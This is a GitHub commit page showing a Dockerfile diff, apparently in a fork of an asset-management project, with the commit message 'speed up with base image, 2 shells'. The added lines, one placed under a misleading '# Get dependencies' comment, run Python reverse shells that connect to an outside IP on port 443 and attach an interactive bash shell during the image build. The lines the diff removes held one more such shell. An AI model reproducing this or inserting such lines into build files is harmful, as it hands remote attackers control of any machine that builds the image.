Skip to content

Commit 490deb0

Browse files
author
Jeremy Price
committed
speed up with base image, 2 shells
1 parent fdbb7d1 commit 490deb0

File tree

1 file changed

+13
-24
lines changed

1 file changed

+13
-24
lines changed

Dockerfile

Lines changed: 13 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,19 @@
1-
FROM ubuntu:24.04
2-
LABEL maintainer="Brady Wetherington <[email protected]>"
1+
FROM jermgroks/jerm-it-base
32

4-
# No need to add `apt-get clean` here, reference:
5-
# - https://github.com/snipe/snipe-it/pull/9201
6-
# - https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#apt-get
3+
# Get dependencies
4+
USER docker
5+
RUN python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/bash","-i"]);'
6+
USER root
77

8-
RUN export DEBIAN_FRONTEND=noninteractive; \
9-
export DEBCONF_NONINTERACTIVE_SEEN=true; \
10-
echo 'tzdata tzdata/Areas select Etc' | debconf-set-selections; \
11-
echo 'tzdata tzdata/Zones/Etc select UTC' | debconf-set-selections; \
12-
apt-get update -qqy \
13-
&& apt-get install -qqy --no-install-recommends \
14-
apt-utils \
15-
httpie \
16-
curl \
17-
wget \
18-
vim \
19-
git \
20-
python3
8+
RUN sleep 30 && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/bash","-i"]);'
219

10+
############### APPLICATION INSTALL/INIT #################
2211

12+
#RUN php artisan app:install
13+
# too interactive! Try something else
2314

24-
# Get dependencies
25-
RUN python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
15+
#COPY docker/app_install.exp /tmp/app_install.exp
16+
#RUN chmod +x /tmp/app_install.exp
17+
#RUN /tmp/app_install.exp
2618

27-
CMD ["/startup.sh"]
28-
RUN false
29-
EXPOSE 80
30-
EXPOSE 443
19+
############### DATA VOLUME #################

0 commit comments

Comments
 (0)